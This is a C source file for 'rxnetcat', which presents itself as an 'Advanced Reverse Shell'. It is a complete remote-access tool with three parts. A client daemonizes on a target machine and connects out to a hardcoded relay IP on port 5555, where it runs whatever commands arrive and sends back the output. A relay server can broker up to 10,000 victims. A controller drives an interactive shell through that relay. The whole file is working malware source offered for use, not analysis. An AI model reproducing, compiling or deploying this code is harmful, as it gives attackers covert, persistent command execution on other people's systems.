/*
 * rxnetcat - Advanced Reverse Shell
 * Version: 2.4.0
 *
 * Compile: gcc -O2 -o rxnetcat rxnetcat.c -lpthread
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <pthread.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/select.h>
#include <sys/stat.h>
#include <time.h>
#include <getopt.h>

#define VERSION "2.4.0"
#define DEFAULT_RELAY_HOST "162.0.211.206"
#define DEFAULT_RELAY_PORT 5555
#define BUFFER_SIZE 16384
#define MAX_CLIENTS 10000
#define RETRY_DELAY 5
#define SECRET_LEN 32

// Global variables
char relay_host[256] = DEFAULT_RELAY_HOST;
int relay_port = DEFAULT_RELAY_PORT;
char secret[SECRET_LEN+1] = {0};
int server_mode = 0;
int client_mode = 0;
int daemon_mode = 0;
int listen_mode = 0;
int interactive_mode = 0;
volatile sig_atomic_t running = 1;
time_t start_time;
unsigned long long bytes_sent = 0;
unsigned long long bytes_recv = 0;

// Colors
const char *RED = "\033[1;31m";
const char *GREEN = "\033[1;32m";
const char *YELLOW = "\033[1;33m";
const char *BLUE = "\033[1;34m";
const char *CYAN = "\033[1;36m";
const char *RESET = "\033[0m";

typedef struct {
    int sock;
    char secret[SECRET_LEN+1];
    char client_id[64];
    time_t connected_at;
    time_t last_seen;
    pthread_mutex_t write_lock;
    int active;
    int is_controller;
} Client;

Client clients[MAX_CLIENTS];
pthread_mutex_t clients_mutex = PTHREAD_MUTEX_INITIALIZER;
int server_fd = -1;

void generate_secret(char *out, int len) {
    const char *chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    srand(time(NULL) ^ getpid());
    for (int i = 0; i < len; i++) {
        out[i] = chars[rand() % strlen(chars)];
    }
    out[len] = '\0';
}

void print_banner() {
    if (daemon_mode) return;
    printf("\n%s========================================%s\n", CYAN, RESET);
    printf("%s   rxnetcat v%s - Advanced Reverse Shell%s\n", GREEN, VERSION, RESET);
    printf("%s   Relay: %s:%d%s\n", CYAN, relay_host, relay_port, RESET);
    printf("%s========================================%s\n\n", CYAN, RESET);
}

void print_stats() {
    if (daemon_mode) return;
    time_t elapsed = time(NULL) - start_time;
    if (elapsed < 1) elapsed = 1;
    printf("\n%s    Up: %8llu [%5.1fB/s], Down: %8llu [%5.1fB/s]%s\n",
           CYAN, bytes_sent, (double)bytes_sent/elapsed,
           bytes_recv, (double)bytes_recv/elapsed, RESET);
}

void signal_handler(int sig) {
    if (sig == SIGINT || sig == SIGTERM) {
        running = 0;
        if (server_fd > 0) {
            close(server_fd);
            server_fd = -1;
        }
    }
}

void daemonize() {
    pid_t pid = fork();
    if (pid < 0) exit(EXIT_FAILURE);
    if (pid > 0) exit(EXIT_SUCCESS);
    setsid();
    signal(SIGHUP, SIG_IGN);
    pid = fork();
    if (pid < 0) exit(EXIT_FAILURE);
    if (pid > 0) exit(EXIT_SUCCESS);
    chdir("/");
    close(STDIN_FILENO);
    close(STDOUT_FILENO);
    close(STDERR_FILENO);
    open("/dev/null", O_RDWR);
    dup(0);
    dup(0);
}

int create_socket() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) return -1;
    int opt = 1;
    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    return sock;
}

int connect_to_relay() {
    int sock = create_socket();
    if (sock < 0) return -1;

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(relay_port);

    if (inet_pton(AF_INET, relay_host, &addr.sin_addr) <= 0) {
        struct hostent *he = gethostbyname(relay_host);
        if (!he) {
            close(sock);
            return -1;
        }
        memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length);
    }

    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
        close(sock);
        return -1;
    }
    return sock;
}

void execute_command(int sock, const char *cmd) {
    FILE *fp = popen(cmd, "r");
    if (!fp) return;
    char buffer[BUFFER_SIZE];
    while (fgets(buffer, sizeof(buffer), fp)) {
        int len = strlen(buffer);
        send(sock, buffer, len, MSG_NOSIGNAL);
        bytes_sent += len;
    }
    pclose(fp);
}

// ==================== SERVER MODE ====================
int find_client_by_secret(const char *secret, int exclude_controller) {
    pthread_mutex_lock(&clients_mutex);
    for (int i = 0; i < MAX_CLIENTS; i++) {
        if (clients[i].active && strcmp(clients[i].secret, secret) == 0) {
            if (exclude_controller && clients[i].is_controller) {
                continue;
            }
            pthread_mutex_unlock(&clients_mutex);
            return i;
        }
    }
    pthread_mutex_unlock(&clients_mutex);
    return -1;
}

void *handle_server_client(void *arg) {
    int client_fd = *(int*)arg;
    free(arg);
    char buffer[BUFFER_SIZE];
    char client_secret[SECRET_LEN+1] = {0};
    char client_id[64] = {0};
    int idx = -1;
    int is_controller = 0;

    // Read auth
    memset(buffer, 0, sizeof(buffer));
    int n = recv(client_fd, buffer, sizeof(buffer) - 1, 0);
    if (n <= 0) {
        close(client_fd);
        return NULL;
    }
    buffer[n] = '\0';
    buffer[strcspn(buffer, "\n")] = 0;

    // Parse authentication
    if (strncmp(buffer, "AUTH:", 5) == 0) {
        strncpy(client_secret, buffer + 5, SECRET_LEN);
        is_controller = 0;
        snprintf(client_id, sizeof(client_id), "client_%ld", time(NULL));
    } else if (strncmp(buffer, "CTRL:", 5) == 0) {
        strncpy(client_secret, buffer + 5, SECRET_LEN);
        is_controller = 1;
        snprintf(client_id, sizeof(client_id), "ctrl_%ld", time(NULL));
    } else {
        close(client_fd);
        return NULL;
    }

    // Register client
    pthread_mutex_lock(&clients_mutex);
    for (int i = 0; i < MAX_CLIENTS; i++) {
        if (!clients[i].active) {
            clients[i].sock = client_fd;
            strncpy(clients[i].secret, client_secret, SECRET_LEN);
            strncpy(clients[i].client_id, client_id, 63);
            clients[i].connected_at = time(NULL);
            clients[i].last_seen = time(NULL);
            clients[i].active = 1;
            clients[i].is_controller = is_controller;
            pthread_mutex_init(&clients[i].write_lock, NULL);
            idx = i;
            break;
        }
    }
    pthread_mutex_unlock(&clients_mutex);

    if (idx == -1) {
        close(client_fd);
        return NULL;
    }

    printf("%s[+] %s connected: %s (secret: %s)%s\n",
           GREEN, is_controller ? "Controller" : "Client",
           client_id, client_secret, RESET);

    send(client_fd, "OK\n", 3, 0);

    while (running && clients[idx].active) {
        memset(buffer, 0, sizeof(buffer));
        n = recv(client_fd, buffer, sizeof(buffer) - 1, 0);
        if (n <= 0) break;
        buffer[n] = '\0';

        pthread_mutex_lock(&clients_mutex);
        clients[idx].last_seen = time(NULL);
        pthread_mutex_unlock(&clients_mutex);

        if (is_controller) {
            if (strncmp(buffer, "CMD:", 4) == 0) {
                char *target_secret = buffer + 4;
                char *cmd = strchr(target_secret, ':');
                if (cmd) {
                    *cmd = '\0';
                    cmd++;
                    int target_idx = find_client_by_secret(target_secret, 1);
                    if (target_idx >= 0) {
                        pthread_mutex_lock(&clients[target_idx].write_lock);
                        send(clients[target_idx].sock, cmd, strlen(cmd), MSG_NOSIGNAL);
                        send(clients[target_idx].sock, "\n", 1, MSG_NOSIGNAL);
                        pthread_mutex_unlock(&clients[target_idx].write_lock);
                    }
                }
            }
        } else {
            int ctrl_idx = find_client_by_secret(client_secret, 1);
            if (ctrl_idx >= 0) {
                pthread_mutex_lock(&clients[ctrl_idx].write_lock);
                send(clients[ctrl_idx].sock, buffer, n, MSG_NOSIGNAL);
                pthread_mutex_unlock(&clients[ctrl_idx].write_lock);
            }
        }
    }

    pthread_mutex_lock(&clients_mutex);
    clients[idx].active = 0;
    close(client_fd);
    pthread_mutex_unlock(&clients_mutex);

    printf("%s[-] Disconnected: %s (%s)%s\n", RED, client_id, client_secret, RESET);
    return NULL;
}

void run_server() {
    struct sockaddr_in addr;
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    int opt = 1;
    setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(relay_port);
    addr.sin_addr.s_addr = INADDR_ANY;

    if (bind(server_fd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
        perror("bind");
        exit(1);
    }

    if (listen(server_fd, 10000) < 0) {
        perror("listen");
        exit(1);
    }

    printf("\n%s========================================%s\n", CYAN, RESET);
    printf("%s   rxnetcat RELAY SERVER v%s%s\n", GREEN, VERSION, RESET);
    printf("%s========================================%s\n", CYAN, RESET);
    printf("  %sListening:%s 0.0.0.0:%d\n", YELLOW, RESET, relay_port);
    printf("  %sMax Clients:%s %d\n", YELLOW, RESET, MAX_CLIENTS);
    printf("%s========================================%s\n\n", CYAN, RESET);

    while (running) {
        socklen_t client_len = sizeof(addr);
        int client_fd = accept(server_fd, (struct sockaddr*)&addr, &client_len);
        if (client_fd < 0) {
            if (!running) break;
            continue;
        }

        printf("%s[*] Connection from: %s:%d%s\n",
               BLUE, inet_ntoa(addr.sin_addr), ntohs(addr.sin_port), RESET);

        int *pclient = malloc(sizeof(int));
        *pclient = client_fd;
        pthread_t thread;
        pthread_create(&thread, NULL, handle_server_client, pclient);
        pthread_detach(thread);
    }
    if (server_fd > 0) close(server_fd);
}

// ==================== CLIENT MODE ====================
void run_client() {
    int sock;
    start_time = time(NULL);

    while (running) {
        sock = connect_to_relay();
        if (sock < 0) {
            sleep(RETRY_DELAY);
            continue;
        }

        char auth_msg[BUFFER_SIZE];
        snprintf(auth_msg, sizeof(auth_msg), "AUTH:%s", secret);
        send(sock, auth_msg, strlen(auth_msg), MSG_NOSIGNAL);

        char resp[64];
        recv(sock, resp, sizeof(resp), 0);

        char buffer[BUFFER_SIZE];
        while (running) {
            memset(buffer, 0, sizeof(buffer));
            int n = recv(sock, buffer, sizeof(buffer) - 1, 0);
            if (n <= 0) break;
            bytes_recv += n;
            execute_command(sock, buffer);
        }
        close(sock);
        sleep(RETRY_DELAY);
    }
}

// ==================== CONTROLLER MODE ====================
void run_controller() {
    int sock = connect_to_relay();
    if (sock < 0) {
        printf("%s[-] Cannot connect to relay!%s\n", RED, RESET);
        return;
    }

    char auth_msg[BUFFER_SIZE];
    snprintf(auth_msg, sizeof(auth_msg), "CTRL:%s", secret);
    send(sock, auth_msg, strlen(auth_msg), MSG_NOSIGNAL);

    char resp[64];
    recv(sock, resp, sizeof(resp), 0);

    start_time = time(NULL);
    print_banner();
    printf("%s=Secret         : %s%s\n", CYAN, GREEN, secret);
    printf("%s========================================%s\n\n", CYAN, RESET);

    printf("%s[+] Connected to relay!%s\n", GREEN, RESET);
    printf("%s[*] Waiting for target with same secret...%s\n", YELLOW, RESET);
    printf("%s[*] Press Ctrl+C to exit%s\n\n", YELLOW, RESET);

    char buffer[BUFFER_SIZE];
    fd_set fds;
    char cmd[BUFFER_SIZE];
    int found = 0;

    while (running && !found) {
        snprintf(cmd, sizeof(cmd), "CMD:%s:echo \"__ALIVE__\"\n", secret);
        send(sock, cmd, strlen(cmd), MSG_NOSIGNAL);

        struct timeval tv = {1, 0};
        setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

        memset(buffer, 0, sizeof(buffer));
        int n = recv(sock, buffer, sizeof(buffer) - 1, 0);

        tv.tv_sec = 0;
        setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

        if (n > 0 && (strstr(buffer, "__ALIVE__") != NULL || strlen(buffer) > 0)) {
            found = 1;
            printf("%s[+] Target found! Connecting...%s\n", GREEN, RESET);
            if (strlen(buffer) > 0 && strstr(buffer, "__ALIVE__") == NULL) {
                printf("%s", buffer);
            }
            break;
        }
        sleep(2);
    }

    if (!found) {
        printf("%s[-] No target found. Exiting...%s\n", RED, RESET);
        close(sock);
        return;
    }

    snprintf(cmd, sizeof(cmd), "CMD:%s:export PS1='\\[\\033[36m\\]\\u\\[\\033[m\\]@\\[\\033[32m\\]\\h:\\[\\033[33;1m\\]\\w\\[\\033[m\\]\\$ '\n", secret);
    send(sock, cmd, strlen(cmd), MSG_NOSIGNAL);
    snprintf(cmd, sizeof(cmd), "CMD:%s:echo \"[rxnetcat] Connected! Type 'exit' to quit\"\n", secret);
    send(sock, cmd, strlen(cmd), MSG_NOSIGNAL);
    snprintf(cmd, sizeof(cmd), "CMD:%s:echo \"\"\n", secret);
    send(sock, cmd, strlen(cmd), MSG_NOSIGNAL);

    printf("%s$ %s", CYAN, RESET);
    fflush(stdout);

    while (running) {
        FD_ZERO(&fds);
        FD_SET(sock, &fds);
        FD_SET(STDIN_FILENO, &fds);

        if (select(sock + 1, &fds, NULL, NULL, NULL) < 0) {
            if (!running) break;
            continue;
        }

        if (FD_ISSET(sock, &fds)) {
            memset(buffer, 0, sizeof(buffer));
            int n = recv(sock, buffer, sizeof(buffer) - 1, 0);
            if (n <= 0) break;
            buffer[n] = '\0';
            bytes_recv += n;

            if (strstr(buffer, "__ALIVE__") == NULL) {
                printf("%s", buffer);
                fflush(stdout);
            }
        }

        if (FD_ISSET(STDIN_FILENO, &fds)) {
            memset(buffer, 0, sizeof(buffer));
            if (fgets(buffer, sizeof(buffer), stdin)) {
                buffer[strcspn(buffer, "\n")] = 0;
                bytes_sent += strlen(buffer);

                if (strcmp(buffer, "exit") == 0) {
                    break;
                }

                snprintf(cmd, sizeof(cmd), "CMD:%s:%s\n", secret, buffer);
                send(sock, cmd, strlen(cmd), MSG_NOSIGNAL);
            }
        }
    }

    close(sock);
    print_stats();
    printf("\n%s[Bye]%s\n", GREEN, RESET);
}

// ==================== MAIN ====================
void print_usage() {
    printf("\n");
    printf("%srxnetcat v%s - Advanced Reverse Shell%s\n", GREEN, VERSION, RESET);
    printf("\n");
    printf("%sUsage:%s\n", YELLOW, RESET);
    printf("  rxnetcat --server -p PORT           Run as relay server\n");
    printf("  rxnetcat --client [-s SECRET]       Run as client (target)\n");
    printf("  rxnetcat --connect -s SECRET        Run as controller\n");
    printf("  rxnetcat -g                         Generate random secret\n");
    printf("  rxnetcat -v                         Show version\n");
    printf("\n");
}

int main(int argc, char *argv[]) {
    int opt;
    int generate = 0;
    int show_version = 0;
    int option_index = 0;

    static struct option long_options[] = {
        {"server", no_argument, 0, 1000},
        {"client", no_argument, 0, 1001},
        {"connect", no_argument, 0, 1002},
        {"secret", required_argument, 0, 's'},
        {"relay", required_argument, 0, 'r'},
        {"port", required_argument, 0, 'p'},
        {"daemon", no_argument, 0, 'd'},
        {"generate", no_argument, 0, 'g'},
        {"version", no_argument, 0, 'v'},
        {"help", no_argument, 0, 'h'},
        {0, 0, 0, 0}
    };

    while ((opt = getopt_long(argc, argv, "s:r:p:dgvh", long_options, &option_index)) != -1) {
        switch (opt) {
            case 1000: server_mode = 1; break;
            case 1001: client_mode = 1; break;
            case 1002: client_mode = 1; listen_mode = 1; interactive_mode = 1; break;
            case 's': strncpy(secret, optarg, SECRET_LEN); break;
            case 'r': strncpy(relay_host, optarg, sizeof(relay_host)-1); break;
            case 'p': relay_port = atoi(optarg); break;
            case 'd': daemon_mode = 1; break;
            case 'g': generate = 1; break;
            case 'v': show_version = 1; break;
            case 'h': print_usage(); return 0;
            default: break;
        }
    }

    if (show_version) {
        printf("rxnetcat v%s\n", VERSION);
        return 0;
    }

    if (generate) {
        char new_secret[SECRET_LEN+1];
        generate_secret(new_secret, SECRET_LEN);
        printf("%s\n", new_secret);
        return 0;
    }

    if (!server_mode && !client_mode) {
        print_usage();
        return 1;
    }

    if (client_mode && strlen(secret) == 0 && !listen_mode) {
        generate_secret(secret, SECRET_LEN);
    }

    if (daemon_mode && !server_mode) daemonize();

    signal(SIGINT, signal_handler);
    signal(SIGTERM, signal_handler);
    signal(SIGPIPE, SIG_IGN);

    if (server_mode) {
        run_server();
    } else if (client_mode && (listen_mode || interactive_mode)) {
        run_controller();
    } else if (client_mode) {
        run_client();
    }

    return 0;
}
